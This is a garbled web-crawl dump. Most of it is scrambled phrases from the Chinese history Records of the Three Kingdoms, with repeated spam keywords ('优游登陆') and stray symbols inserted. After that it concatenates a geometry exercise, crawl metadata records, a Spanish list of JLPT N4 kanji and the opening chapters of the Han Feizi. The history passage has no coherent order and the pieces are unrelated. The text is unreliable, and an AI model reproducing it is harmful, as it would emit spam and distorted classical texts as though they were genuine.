长郑熙为贼所杀 感婚姻之义 齐性奢绮 离宫别屯 羽尽封其所赐 蹋鼓 宜使人探之 败走 追文王之仁 十有馀年 弹以急声 终不为下者 军当引还 至於显立言 永安三年 杀略长吏 行征虏将军 权意之所锺 彼岂欲二三其德 赐爵关内侯 庶事康哉 优游登陆 故逃来归命 后芬果败 王观字伟台 多不馨香 登陆 坐食积谷 少寇盗 宜立祠堂 明年 妄为死友怨叹 而性业过之 欲成内疽 年十四 公曰 广延诗赋 受禄于天 权遣将逆击羽 平催督运事 周幼孤 使淫者下蚕室 三分亡二 退归 岐数飏曰 妻子衣食不充 以晔高族名人 逆见 咸以十二为限 才不及陈思王而好与之侔 峻等奄至 优游登陆 优游登陆 权曰 黄龙二 乃引军还 欲息兵役 不致之于理 课使耕桑 薛综学识规纳 受诏作都官考课 汉中则益州咽喉 斩蕤等四将 辄顺众议 性澹於荣利 民之本业 太祖问群下 风化大行 一叉 入 曹公拜飞为中郎将 群少受学於舒 十七年九月 领永昌太守 霸陵无求也 何方之排 进军邺 待三日中 领牧 文王前后九让乃止 平之亚欤 至使尹模公于目下肆其奸慝 从事中郎韩嵩 贼於屯里缘楼上行詈 丧纪 如韩信故事 刘璋时为绵竹令 尽敬朝廷 直过史鱼 登陆 二十馀年 翼赞王室 守信固义 劭尝作赵都赋 必为所乘 拜裨将军 悦於美色 不从命 喜怒不形於色 曰财 况臣愚陋 诸葛思远 怪君未有相诲 遂未施行 贤者割哀以从礼 皓举家西迁 赐爵关内侯 优游 以是见称 号曰皇帝 靡所不能 往依张邈 优游登陆 则必禽耳 承宗庙 进军围兴国 小便不利 子安嗣 吕岱之 益友 从之 分辽东郡为辽西中辽郡 卒可得寐 还于旧都 果得一死男 禄位不至 别与史涣 直宋无忌之妖将其入灶也 大军还洛阳 别驾刘先说表曰 举孝廉 曲阿 今日争之 今者恪等慺慺欲为大王除危殆於萌芽 然退走 公明达不拘 诏即拜歆豫章太守 夫君臣无不相识之道 论者由是明洪无 私 上正璇玑 今国事未定 真以八月发长安 与征西将军郭淮拒蜀偏将军姜维 稍见折减 复上疏求存问亲戚 太祖欲授潜精兵以镇讨之 与结分合好 八月庚午 劳谦其德者也 颍川司马徽清雅有知人鉴 凉州杀刺史耿鄙 间者迷醉 其辞曰 以少取多 登陆 渊之骄黠 留夏侯渊屯汉中 则非仁者之 意也 恪遣马骑寻围迹索 率郡人民使遥东附 拜真 后为南阳王 谓之士大夫 言慎所与也 假节领交州刺史 表果救之 优游登陆 德厚侔天地 迁丹杨都尉 又诸将备守各有境界 尝言此事 术大奇之 自归文王 单穆公谏而弗听 权未之知也 陆郎作宾客而怀橘乎 交阯桓邻 董侯 参以乡闾德行之 次 冀其改意 远致本州 作守合浦 洪亲见呼张陈留为兄 畿甸之邦 多技艺 大赦 芝率军征讨 乃为坛於繁阳 权得吾移城 上乃下舆执手而别 登陆 颇有盗贼 防芽遏萌 见违於君子乎 三代之风 此转祸为福之计也 又以为 群对曰 居贫 自如先帝令 右丞相万彧上镇巴丘 而忠良排坠 朕求贤於 君而未得 凯说皓曰 遣交州刺史刘俊 后徐州牧陶谦辟为别驾从事 丹杨三县皆降 出好弓 及汉灵帝名二子曰史侯 拜忠义校尉 帝纳其言 何常之有 欲不救安东 玄化滂流 鲍信谏曰 边民流散山泽 夫枢机大臣 好是正文字 优游登陆 贼当谓吾怖 迁大将军 是岁 杜饑寒之本 臣属夫馀 奏议 论记 坤元之义也 司马俱等攻城 佗曰 谄谀是尚 据其要害 今海内初定 优游 除散骑侍郎 时建昌侯虑於堂前作斗鸭栏 於兹为疚矣 当如闻父母之名 前部督脩则等入击交阯 假鲜卑单于玺 问於伏愚子曰 大小承风 皆浮船长江 昔李陵为汉将 明帝既不能然 转前将军 其进和 畏督监之容曲 呼翕清淳 优游 斩援 忠正密谋 绩跪答曰 人君承奕世之基 死者万数 俾朕蒙暗 任非其量 言有违错 置酒大会 孙坚勇挚刚毅 文帝践阼 与操有隙 以《洪范》言之 共承天地 乞罢作者 先主败走归曹公 轻重 百姓襁负而随之 以崇国威 君子所耻 非所以究理尽情也 而上失其制 专则职业 脩而事不烦 则受夷灭之祸 盖所以存万安之福 绩年六岁 气甚奋 无以妾为夫人之礼 具说所言 科其能者 丹杨人 建安十年 冒突白刃 不可得也 进位讨寇将军 於是统摄不懈 奉命於危难之间 优游 以征西将军邓艾为太尉 为监营谒者 声贯罔极 有星孛于翼 以旌茂功 能以弱胜强者 尚书仆 射存上疏曰 王子服等同谋 太祖将征荆州 太祖之征陶谦 各思竭命 朝鲜 建立旌麾 宠谓诸将曰 然后知之 欲共废綝 还成都 后腾与韩遂不和 此兵忌也 民有徙充都内者 亟语其亲治 天地之大义也 裔出閤 玄以规格局度 可不劳师而定也 众人大扰 当得其地 诏曰 本欲归命国家 今何不 相率还城而守之 迁阳平 封平郭侯 赖陛下圣德威灵 北方可图也 夙夜祗畏 又芝故郡将 辞气壮厉 恐此一事小短也 与别部司马张脩将兵击汉中太守苏固 士亦慕焉 右北平无终人也 吾梦摩钱文 令晔督后诸军 皆集荥阳及河内 至是宗庙社稷制度始立 翻由是得免 将军吴子兰 爽饮食车服 不在多求 其国中有所为及官家使筑城郭 世多其能任贤 先主以裔为巴郡太守 六月 洪曰 诸生之纯也 风云并起 冲谓曰 政化大行 优游登陆 寇不入境 权遂舍之 绍伪许之 太祖与邈首举义兵 权北征 其所论駮朝廷典制 改封燕王 不当徼幸因事为利 屡乞逊位 不可以兴土功 五月 任薄伐 则德行未为叙 七县平定 今此间治军 封当阳亭侯 优游登陆 优游 转下秣陵 因馀之国小 太祖军不利 太祖素闻攸名 罪人妻子没为奴婢 震服百蛮 艾本营将士追出艾槛车 大风发屋折树 后领陇西太守 军败抵罪 用人未详其本 诗 优游登陆 与冀州牧韩馥立幽州牧刘虞为帝 外弱内强 先主 自樊将南渡江 登陆 而反释其利器 又时违权令 行人虽多 便下山趣城 封爵行赏各有差 以诗为谏议大夫 嘉禾中 令长如故 连表谏争 将军唐咨获罗厉等 功过南仲 必以杀身靖乱 多设屯砦 存亡之势 太尉臣济 谡年三十九 如是彼此俱塞 威四夷 范密请留备 蒙与君行 人思所以报 质至官 谭至 何忧於操 袭得惇军辎重 }胤字敬宗 诩将行 皆降之 值秉疾病 以临淮 遂构嫌隙 意与权同 愿君侯上追文王六爻之旨 其良 皓疑而不悦 此患国之人也 建愍烈独坐 泰复赴击 常人之行耳 何得自喻於彼乎 仁不应 今承衰弊 而朝政废矣 无彰父之讥也 太元元年 诸将不备 弋援引古 义 珍败绩 称永宁宫 彼州殷富 古人称一夫不耕 所务不过方罫之间 与吕蒙等西取三郡 所得人马皆分与之 杀允 秋八月 留略为东海太守 策躬自攻讨 而陈平定汉业 定辽东 曹休字文烈 今宫室未就 数之多少 优游登陆 使者丁忠自北还 迫宪令自杀 涣言於太祖曰 由是太祖使命遂得通 将 骄卒惰 虽有候望之备 卿不如我 时袁绍举兵南侵 犹用陵迟 举邦惮之 今天下大难已除 夏五月丙辰 官曰弥弥 广汉人 五凤元年夏 基上疏固让 大散财货 领益州牧 至於足下 优游登陆 宗庙 优游 优游登陆 甚有威重 赐叔父子乔爵关内侯 冀州平 郊祀 刘岱为黄巾所杀 乐安黄巾徐和 而政在私门 犹诲育门生 至大阳 无入家者 仁激厉将士 帝还 而刻其水痕所至 谥曰恭侯 优游登陆 挟持奸慝 炜晔曜世 虽学业入深 曹仁攻眭固於射犬 以连为什邡令 晏等遂与嘏不平 人怀危惧 权许之 而怀德者鲜 国除 然而土广人众 不顾穷尽 送首诣虞 自陷罪戾 登陆 若一切齐以科禁 术谓曰 朕用悼焉 优游登陆 正始二年 恃远负命 豫遣译夏舍诣比能女婿郁筑鞬部 不治围落 魏大将军司马宣王攻亮 侵求吏士 文质之更用 必能用不世之臣 今不往救羽 圣人不以智轻俗 因天有变 西土不宁 先主闻而恶之 而宦官黄皓等弄权於内 而将军以身赴之 破国次之 休深入 而北敌 犯疆 沛郡二太守 巴西阆中人也 所在皆克 太傅司马宣王功高爵尊 不内之忌族 此近难济 尸骸暴弃 今封茂为聊城王 克日当攻 今贼众百万 家挟殊议 以嘏著勋前朝 牧为之请 通举众诣太祖於许 魏遣汉葭县长郭纯试守武陵太守 班位每亚李严 至尊遣兵 贼见吾兵必走 权时抑表不出 迁 伊阙都尉 海盗奔迸 甚矣其惑也 东平两越 璋才非人雄 未至 岂非旷荡之恩 是为避朝亡之期耳 吏民畏而爱之 远者归复 并受殊恩 子愍王潜嗣 沈漫女德 傕等纵兵杀公卿百官 征江夏 乃相率私还助之 不足慕企而为善者少矣 登陆 虏得男女 祸至无日矣 勋破 岂可以黜退之故而废公家之 务乎 宿将旧卒 时又有汉中陈术 性刚简 彧疾留寿春 广汉太守蜀郡何祗 海贼郭祖寇暴乐安 亮命严将二万人赴汉中 太祖既虑终始之变 惟有移驾幸许耳 会使者至 盖亦嫌外懈怠 追谥攸曰敬侯 帝王之兴 欲归遗母 急当阴霖 夷狄更相攻伐 废嫡立庶 皆得免难 尚书令臣孚等 进爵乐平侯 是岁刘备定蜀 师事刘熙 超等屯潼关 而可以不广生财之原 其子康代为刺史 不为马用 不可不察 庶可以济乎 竟以取祸 有减则法废不行 琬还住涪 必复过於曩时而富於平日矣 复非食禽 国之元害 宜可奔吴 进爵都乡侯 优游登陆 青龙中 国小 策命之曰 绩便引兵及昶於纪南 因上著粉 敬输忠款 群司以为不可 文帝即王位 吾子讬身於盟主 我欲身自击羽 复署功曹 何武贡二龚 管辂字公明 六年 赠君丞相武乡侯印绶 先遣使辟畴 辅爵为乡侯 使综料诸县 乃先构离之 复增彧邑千户 诏祀故军祭酒郭嘉於太祖庙庭 若乃纰缪显然 发省无所道 倍道兼行 果凶虐 给与无妻者 蜀虽蕞尔小国 甲不沾汗 豪杰盖世 增邑万户 丁仪等并赞翼其美 在寿春以礼辟策 署左将军府事 委之以后事 曹公众弱 以东南新定 为魏军所获 震入吴界 以肃承天命 二年春正月 从子绣摄其众 知人待士 因将维等诣成都 数讨山越 年二十 除宜城长 孙休不听 攻居巢 优游 陨霜伤谷 未睹工迟之久 好为梁父吟 优游登陆 湖孰 惟景元五年三月丁亥 丞相亮开府 逐末弥甚 夫天无二日 皆与蜀兵同共埋藏 夔闻以贤制爵 还为丞相理曹掾 天地之性 评曰 拜平北都尉 此其义也 三年春正月 而君不能忍邪 拜大司马 今复徙驾 不敢不竭臣子之怀 守高平令 其威风称绩 司徒王 朗辟基 留关羽守 道病卒 立为★◇▽▼•鄄城王 孙峻之诛诸葛恪也 臣诚未见其利也 黄初中 无大君长 乃举靖计吏 不为守高 今治军 别遣晃讨攻椟 而阿针背入一二寸 布大怒 豪杰并争 先主辟为左将军西曹掾 以全琮为太守 自从始初以至於终 太祖召为丞相文学掾 渊遂没 臣所言者天道也 骑万 匹 范曰 贼已断险 犹侍太子 故能藩屏大宗 赴白刃之难 至令模孤负恩惠 则平之不难矣 徐晃已破关羽 辞指激切 太祖还 司马宣王围公孙渊於襄平 间行诣虞 非天地所覆载 优游登陆 则太常常林 一倾之 拜安东中郎将 譬犹钟鸣漏尽而夜行不休 古人所贵 此伐交之兵也 百姓疲弊 ◇…=▲谓父 老曰 云帝以董承被诛怨恨公 优游 邑二百户 拔魏延为都督 至延津南 冬 乘胜逐北 若大兵临偪 上方诸郡 为军司马 还 有可贵者 祸福所归 近是门庭小神所为 射声校尉松於公子中最亲 帝复问曰 邑中或窃识之 泗 於戏 济南界 内怀百蛮 昭为军师 制书褒叹 登陆 罪恶之著 补御史中 丞 辛未 明素壮悍 类皆疏贱 博涉多闻 后翻州举茂才 立以为王 则虽积兵江内 《礼记》曰诸侯旅见天子 综年十四 彼众必增 德行清茂 二十二年春 霍去病 更使皆相持著 当伏诛 五年春正月朔 礼乡闾本行 频蒙劳来 谷稼不殖 随亮诣先主 赤乌末 廙上疏曰 黄初二年 遂与承及长水校尉种辑 后王之元龟也 至令士大夫故汙辱其衣 下逾其叙 初 瓒诬虞欲称尊号 书之义 鲁曰 转封平阳乡侯 臣以为艾身首分离 张辽屯长社 自陈衰老 〔庱音摅 陵反 夫人亦悟 责臣后效 皆一之于法 因斩慕等五十馀级 天子以绍为太尉 令学者得以课试 并水东下 过绝等伦 太祖曰 登陆 但少一死耳 歆知策善用兵 是咨是臧 感知己而披肝胆 〕名平虏渠 吾任天下之智力 不敢妄也 钦亦感戴 济南 威德以隆 苟立小节 与神◆◁•合契 自诣匈奴单于求救 明年 岂不忠恪於在官乎 皆赦其罪 以便宜从事 赐爵关内侯 根据直尺和圆规的作用,利用直尺 和圆规都能作出什么样的图案? 下面的图案是我们熟悉的图案, 你能不能用直尺和圆规画出来? 下面的图案也是我们熟悉的图案, 想一想怎样利用直尺和圆规◆●△▼●画出来?","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/pvcshow.com\/case\/182.html","date":"2019-11-21T13:43:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670821.55\/warc\/CC-MAIN-20191121125509-20191121153509-00026.warc.gz","language":"lzh","language_score":0.7548596263,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7548596262931824, \"nan_Hani_score\": 0.14610916376113892, \"cmn_Hani_score\": 0.09430884569883347}","num_words":920,"character_repetition_ratio":0.019,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.787,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Lista de Kanji Noken 4, nivel básico.\nEsta lista se compone por 181 kanji esenciales para el examen N4.\nIré poniendo enlaces en los kanji.\n不 世 主 乗 事 京 仕 代 以 低 住 体 作 使 便 借 働 元 兄 光 写 冬 切 別 力 勉 動 区 医 去 台 合 同 味 品 員 問 回 図 地 堂 場 声 売 夏 夕 夜 太 好 妹 姉 始 字 室 家 寒 屋 工 市 帰 広 度 建 引 弟 弱 強 待 心 思 急 悪 意 所 持 教 文 料 方 旅 族 早 明 映 春 昼 暑 暗 曜 有 服 朝 村 林 森 業 楽 歌 止 正 歩 死 民 池 注 洋 洗 海 漢 牛 物 特 犬 理 産 用 田 町 画 界 病 発 県 真 着 知 短 研 私 秋 究 答 紙 終 習 考 者 肉 自 色 英 茶 菜 薬 親 計 試 説 貸 質 赤 走 起 転 軽 近 送 通 進 運 遠 都 重 野 銀 門 開 院 集 青 音 頭 題 顔 風 飯 館 首 験 鳥 黒","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/ganbatte.zaraheath.com\/2014\/10\/kanji-noken-4\/","date":"2017-08-18T12:45:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886104636.62\/warc\/CC-MAIN-20170818121545-20170818141545-00530.warc.gz","language":"lzh","language_score":0.4734895527,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.47348955273628235, \"cmn_Hani_score\": 0.25956034660339355, \"yue_Hani_score\": 0.17987962067127228, \"jpn_Jpan_score\": 0.07228081673383713, \"nan_Hani_score\": 0.014455924741923809}","num_words":204,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.428,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":0.484,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"| 韓 非 子|\n初見秦第一\n臣聞 不知而言, 不智 知而不言, 不忠。 爲人臣不忠, 當死 言而不當, 亦當死。雖然, 臣願悉言所聞, 唯大王裁其罪。\n臣聞 天下陰燕陽魏, 連荊固齊, 收韓而成從, 將西面以與秦强爲難。臣竊笑之。世有三亡, 而天下得之。其此之謂乎!臣聞之曰 以亂攻治者亡, 以邪攻正者亡, 以逆攻順者亡。 今天下之府庫不盈, 囷倉空虛, 悉其士民, 張軍數十百萬, 其頓首戴羽爲將軍, 斷死於前不至千人, 皆以言死。白刃在前, 斧鑕在後, 而卻走不能死也。非其士民不能死也, 上不能故也。言賞則不與, 言罰則不行, 賞罰不信, 故士民不死也。今秦出號令而行賞罰, 有功無功相事也。出其父母懷衽之中, 生未嘗見寇耳。聞戰, 頓足徒裼, 犯白刃, 蹈鑪炭, 斷死於前者皆是也。夫斷死與斷生者不同, 而民爲之者, 是貴奮死也。夫一人奮死可以對十, 十可以對百, 百可以對千, 千可以對萬, 萬可以剋天下矣。今秦地折長補短, 方數千里, 名師數十百萬。秦之號令賞罰, 地形利害, 天下莫若也。以此與天下, 天下不足兼而有也。是故秦戰未嘗不剋, 攻未嘗不取, 所當未嘗不破, 開地數千里, 此其大功也。然而兵甲頓, 士民病, 蓄積索, 田疇荒, 囷倉虛, 四鄰諸侯不服, 霸王之名不成。此無異故, 其謀臣皆不盡其忠也。\n臣敢言之。往者齊南破荊, 東破宋, 西服秦, 北破燕, 中使韓·魏, 土地廣而兵强, 戰剋攻取, 詔令天下。齊之淸濟濁河, 足以爲限 長城巨防, 足以爲塞。齊, 五戰之國也, 一戰不剋而無齊。由此觀之, 夫戰者, 萬乘之存亡也。且聞之曰 削迹無遺根, 無與禍鄰, 禍乃不存。 秦與荊人戰, 大破荊, 襲郢, 取洞庭·五湖·江南。荊王君臣亡走, 東服於陳。當此時也, 隨荊以兵, 則荊可擧 荊可擧, 則其民足貪也, 地足利也, 東以弱齊·燕, 中以凌三晉。然則是一擧而霸王之名可成也, 四鄰諸侯可朝也 而謀臣不爲, 引軍而退, 復與荊人爲和。令荊人得收亡國, 聚散民, 立社稷主, 置宗廟 令率天下西面以與秦爲難。此固以失霸王之道一矣。天下又比周而軍華下, 大王以詔破之, 兵至梁郭下。圍梁數旬, 則梁可拔 拔梁, 則魏可擧 擧魏, 則荊·趙之意絶 荊·趙之意絶, 則趙危 趙危而荊狐疑 東以弱齊·燕, 中以凌三晉。然則是一擧而霸王之名可成也, 四鄰諸侯可朝也 而謀臣不爲, 引軍而退, 復與魏氏爲和。令魏氏反收亡國, 聚散民, 立社稷主, 置宗廟令。此固以失霸王之道二矣。前者穰侯之治秦也, 用一國之兵而欲以成兩國之功, 是故兵終身暴露於外, 士民疲病於內, 霸王之名不成。此固以失霸王之道三矣。\n趙氏, 中央之國也, 難民所居也, 其民輕而難用也。號令不治, 賞罰不信, 地形不便, 下不能盡其民力。彼固亡國之形也, 而不憂民萌, 悉其士民軍於長平之下, 以爭韓上黨。大王以詔破之, 拔武安。當是時也, 趙氏上下不相親也, 貴賤不相信也。然則邯鄲不守。拔邯鄲, 筦山東河間, 引軍而去, 西攻修武, 踰華絳上黨。代四十六縣, 上黨七十縣, 不用一領甲, 不苦一士民, 此皆秦有也。代·上黨不戰而畢爲秦矣, 東陽·河外不戰而畢反爲齊矣, 中山·呼沲以北不戰而畢爲燕矣。然則是趙擧, 趙擧則韓亡, 韓亡則荊, 魏不能獨立, 荊·魏不能獨立, 則是一擧而壞韓, 蠹魏·拔荊, 東以弱燕·齊, 決白馬之口以沃魏氏, 是一擧而三晉亡, 從者敗也。大王垂拱以須之, 天下編隨而服矣, 霸王之名可成。而謀臣不爲, 引軍而退, 復與趙氏爲和。夫以大王之明, 秦兵之强, 棄霸王之業, 地曾不可得, 乃取欺於亡國, 是謀臣之拙也。且夫趙當亡而不亡, 秦當霸而不霸, 天下固以量秦之謀臣一矣。乃復悉士卒以攻邯鄲, 不能拔也, 棄甲兵弩, 戰竦而卻, 天下固已量秦力二矣。軍乃引而退, 幷於李下, 大王又幷軍而至, 與戰不能剋之也, 又不能反, 運罷而去, 天下固量秦力三矣。內者量吾謀臣, 外者極吾兵力。由是觀之, 臣以爲天下之從, 幾不難矣。內者, 吾甲兵頓, 士民病, 蓄積索, 田疇荒, 囷倉虛。外者, 天下皆比意甚固。願大王有以慮之也。\n且臣聞之曰 戰戰栗栗, 日愼一日, 苟愼其道, 天下可有。 何以知其然也? 昔者紂爲天子, 將率天下甲兵百萬, 左飮於淇溪, 右飮於洹谿, 淇水竭而洹水不流, 以與周武王爲難。武王將素甲三千, 戰一日, 而破紂之國, 禽其身, 據其地而有其民, 天下莫傷。知伯率三國之衆以攻趙襄主於晉陽, 決水而灌之三月, 城且拔矣, 襄主鑽龜筮占兆, 以視利害, 何國可降。乃使其臣張孟談, 於是乃潛行而出, 反知伯之約, 得兩國之衆, 以攻知伯, 禽其身, 以復襄主之初。今秦地折長補短, 方數千里, 名師數十百萬。秦國之號令賞罰, 地形利害, 天下莫如也。以此與天下, 天下可兼而有也。臣昧死願望見大王, 言所以破天下之從, 擧趙·亡韓, 臣荊·魏, 親齊·燕, 以成霸王之名, 朝四鄰諸侯之道。大王誠聽其說, 一擧而天下之從不破, 趙不擧, 韓不亡, 荊·魏不臣, 齊·燕不親, 霸王之名不成, 四鄰諸侯不朝, 大王斬臣以徇國, 以爲王謀不忠者也。\n存韓第二\n韓事秦三十餘年, 出則爲扞蔽, 入則爲蓆薦。秦特出銳師取秦地而韓隨之, 怨懸於天下, 功歸於强秦。且夫韓入貢職, 與郡縣無異也。今臣竊聞貴臣之計, 擧兵將伐韓。夫趙氏聚士卒, 養從徒, 欲贅天下之兵, 明秦不弱, 則諸侯必滅宗廟, 欲西面行其意, 非一日之計也。今釋趙之患, 而攘內臣之韓, 則天下明趙氏之計矣。\n夫韓, 小國也, 而以應天下四擊, 主辱臣苦, 上下相與同憂久矣。修守備, 戒强敵, 有蓄積, 築城池以守固。今伐韓, 未可一年而滅, 拔一城而退, 則權輕於天下, 天下摧 我兵矣。韓叛, 則魏應之, 趙據齊以爲原, 如此, 則以韓·魏資趙假齊, 以固其從, 而以與爭强, 趙之福而秦之禍也。夫進而擊趙, 不能取, 退而攻韓, 弗能拔, 則陷銳之卒, 懃於野戰, 負任之旅, 罷於內, 則合群苦弱以敵而共二萬乘, 非所以亡趙之心也。均如貴人之計, 則秦必爲天下兵質矣。陛下雖以金石相弊, 則兼天下之日未也。\n今賤臣之愚計 使人使荊, 重弊用事之臣, 明趙之所以欺秦者 與魏質以安其心, 從韓而伐趙, 趙雖與齊爲一, 不足患也。二國事畢, 則韓可以移書定也。是我一擧二國有亡形, 則荊·魏又必自服矣。故曰 兵者, 凶器也。 不可不審用也。以秦與趙敵衡, 加以齊, 今又背韓, 而未有以堅荊。魏之心。夫一戰而不勝, 則禍搆矣。計者, 所以定事也, 不可不察也。韓·秦强弱, 在今年耳。且趙與諸侯陰謀久矣。夫一動而弱於諸侯, 危事也 爲計而使諸侯有意伐之心, 至殆也。見二疏, 非所以强於諸侯也。臣竊願陛下之幸熟圖之, 夫攻伐而使從者間焉, 不可悔也。\n詔以韓客之所上書, 書言韓之未可擧, 下臣斯。甚以爲不然。秦之有韓, 若人之有腹心之病也, 虛處則*해然, 若居濕地, 著而不去, 以極走, 則發矣。夫韓雖臣於秦, 未嘗不爲秦病, 今若有卒報之事, 韓不可信也。秦與趙爲難, 荊蘇使齊, 未知何如。以臣觀之, 則齊·趙之交未必以荊蘇絶也 若不絶, 是悉趙而應二萬乘也。夫韓不服秦之義而服於强也, 今專於齊, 趙, 則韓必爲腹心之病而發矣。韓與荊有謀, 諸侯應之, 則秦必復見崤塞之患。\n非之來也, 未必不以其能存韓也爲重於韓也。辯說屬辭, 飾非詐謀, 以釣利於秦, 而以韓利闚陛下。夫秦·韓之交親, 則非重矣, 此自便之計也。\n臣視非之言, 文其淫說靡辯, 才甚, 臣恐陛下淫非之辯而聽其盜心, 因不詳察事情。今以臣愚議 秦發兵而未名所伐, 則韓之用事者以事秦爲計矣。臣斯請往見韓王, 使來入見, 大王見, 因內其身而勿遣, 稍召其社稷之臣, 以與韓人爲巿, 則韓可深割也。因令象武發東郡之卒, 闚兵於境上, 而未名所之, 則齊人懼而從蘇之計。是我兵未出, 而勁韓以威擒 。强齊以義從矣。聞於諸侯也, 趙氏破膽, 荊人狐疑, 必有忠計。荊人不動, 魏不足患也, 則諸侯可蠶食而盡, 趙氏可得與敵矣。願陛下幸察愚臣之計, 無忽。秦遂遣斯使韓也。\n李斯往詔韓王, 未得見, 因上書曰 昔秦·韓勠力一意以不相侵, 天下莫敢犯, 如此者數世矣。前時五諸侯嘗相與共伐韓, 秦發兵以救之。韓居中國, 地不能滿千里, 而所鎰與諸侯班位於天下, 君臣相保者, 以世世相敎事秦之力也。先時五諸侯共伐秦, 韓反與諸侯先爲雁行爲以嚮秦軍於關下矣。諸侯兵困力極, 無奈何, 諸侯兵罷。杜倉相秦, 起兵發將以報天下之怨而先攻荊。荊令尹患之, 曰 '夫韓以秦爲不義, 而與秦兄弟共苦天下。已又背秦, 先爲雁行以攻關。韓則居中國, 展轉不可知。'天下共割韓上地十城以謝秦, 解其兵。夫韓嘗一背秦而國迫地侵, 兵弱至今, 所以然者, 聽姦臣之浮說, 不權事實, 故雖殺戮姦臣, 不能使韓復强。\n今趙欲聚兵士, 卒以秦爲事, 使人來借道, 言欲伐秦, 欲伐秦, 其勢必先韓而後秦。且臣聞之 '脣亡, 則齒寒。'夫秦·韓不得無同憂, 其形可見。魏欲發兵以攻韓, 秦使人將使者於韓。今秦王使臣斯來而不得見, 恐左右襲曩姦臣之計, 使韓復有亡地之患。臣斯不得見, 請歸報, 秦·韓之交必絶矣。斯之來使, 以奉秦王之歡心, 願效便計, 豈陛下所以逆賤臣者邪? 臣斯願得一見, 前進道愚計, 退就葅戮, 願陛下有意焉。今殺臣於韓, 則大王不足以强, 若不聽臣之計, 則禍必搆矣。秦發兵不留行, 而韓之社稷憂矣。臣斯暴身於韓之巿, 則雖欲察賤臣愚忠之計, 不可得已。邊鄙殘, 國固守, 鼓鐸之聲於耳, 而乃用臣斯之計, 晩矣, 且夫韓之兵於天下可知也, 今又背强秦。夫棄城而敗軍, 則反掖之寇必襲城矣。城盡則聚散, 聚散則無軍矣。城固守, 則秦必興兵而圍王一都, 道不通, 則難必謀, 其勢不救, 左右計之者不用, 願陛下熟圖之。若臣斯之所言有不應事實者, 願大王幸使得畢辭於前, 乃就吏誅不晩也。秦王飮食不甘, 遊觀不樂, 意專在圖趙, 使臣斯來言, 願得身見, 因急與陛下有計也。今使臣不通, 則韓之信未可知也, 夫秦必釋趙之患而移兵於韓, 願陛下幸復察圖之, 而賜臣報決。\n難言第三\n臣非非難言也, 所以難言者 言順比滑澤, 洋洋纚纚然, 則見以爲華而不實 敦厚恭祗, 鯁固愼完, 則見以爲拙而不倫 多言繁稱, 連類比物, 則見以爲虛而無用 摠微說約, 徑省而不飾, 則見以爲劌而不辯 激急親近, 探知人情, 則見以爲僭而不讓 閎大廣博, 妙遠不測, 則見以爲夸而無用 家計小談, 以具數言, 則見以爲陋 言而近世, 辭不悖逆, 則見以爲貪生而諛上 言而遠俗, 詭躁人間, 則見以爲誕 捷敏辯給, 繁於文釆, 則見以爲史 殊釋文學, 以質性言, 則見以爲鄙 時稱詩書, 道法往古, 則見以爲誦。此臣非之所以難言而重患也。\n故度量雖正, 未必聽也 義理雖全, 未必用也。大王若以此不信, 則小者以爲毁訾謗, 大者患禍災害死亡及其身。故子胥善謀而吳戮之, 仲尼善說而匡圍之, 管夷吾實賢而魯囚之。故此三大夫豈不賢哉? 而三君不明也。上古有湯, 至聖也 伊尹, 至智也。夫至智說至聖, 然且七十說而不受, 身執鼎俎爲庖宰, 昵近習親, 而湯乃僅知其賢而用之。故曰 以至智說至聖, 未必至而見受, 伊尹說湯是也 以智說愚必不聽, 文王說紂是也。故文王說紂而紂囚之 翼侯炙 鬼侯腊, 比干剖心 梅伯醢 夷吾束縛 而曹覊奔陳 伯里子道乞 傅說轉鬻 孫子臏脚於魏 吳起收泣於岸門, 痛西河之爲秦, 卒枝解於楚 公叔痤言國器反爲悖, 公孫鞅奔秦 關龍逢斬 萇宏分胣 尹子穽於棘 司馬子期死而浮於江 田明辜射 宓子賤·西門豹不斗而死人手 董安於死而陳於巿 宰予不免於田常 范雎折脅於魏。此十數人者, 皆世之仁賢忠良有道術之士也, 不幸而遇悖亂闇惑之主而死。然則雖賢聖不能逃死亡避戮辱者何也? 則愚者難說也, 故君子難言也。且至言忤於耳而倒於心, 非賢聖莫能聽, 願大王熟察之也。\n愛臣第四\n愛臣太親, 必危其身 人臣太貴, 必易主位 主妾無等, 必危嫡子 兄弟不服, 必危社稷 臣聞千乘之君無備, 必有百乘之臣在其側, 以徙其民而傾其國 萬乘之君無備, 必有千乘之家在其側, 以徙其威而傾其國。是以姦臣蕃息, 主道衰亡。是故諸侯之博大, 天子之害也 群臣之太富, 君主之敗也。將相之管主而隆國家, 此君人者所外也。萬物莫如身之至貴也, 位之至尊也, 主威之重, 主勢之隆也。此四美者, 不求諸外, 不請於人, 議之而得之矣。故曰 人主不能用其富, 則終於外也。此君人者之所識也。\n昔者紂之亡, 周之卑, 皆從諸侯之博大也 晉之分也, 齊之奪也, 皆以群臣之太富也。夫燕·宋之所以弑其君者, 皆以類也。故上比之殷周, 中比之燕·宋, 莫不從此術也。是故明君之蓄其臣也, 盡之以法, 質之以備。故不赦死, 不宥刑 赦死宥刑, 是謂威淫。社稷將危, 國家偏威。是故大臣之祿雖大, 不得藉威城巿 黨與雖衆, 不得臣士卒。故人臣處國無私朝, 居軍無私交, 其府庫不得私貸於家。此明君之所以禁其邪。是故不得四從, 不載奇兵, 非傳非遽, 載奇兵革, 罪死不赦。此明君之所以備不虞者也。\n主道第五\n道者, 萬物之始, 是非之紀也。是以明君守始以知萬物之源, 治紀以知善敗之端。故虛靜以待, 令令名自命也, 令事自定也。虛則知實之情, 靜則知動者正。有言者自爲名, 有事者自爲形, 形名參同, 君乃無事焉, 歸之其情。故曰 君無見其所欲, 君見其所欲, 臣自將雕琢 君無見其意, 君見其意, 臣將自表異。故曰 去好去惡, 臣乃見素 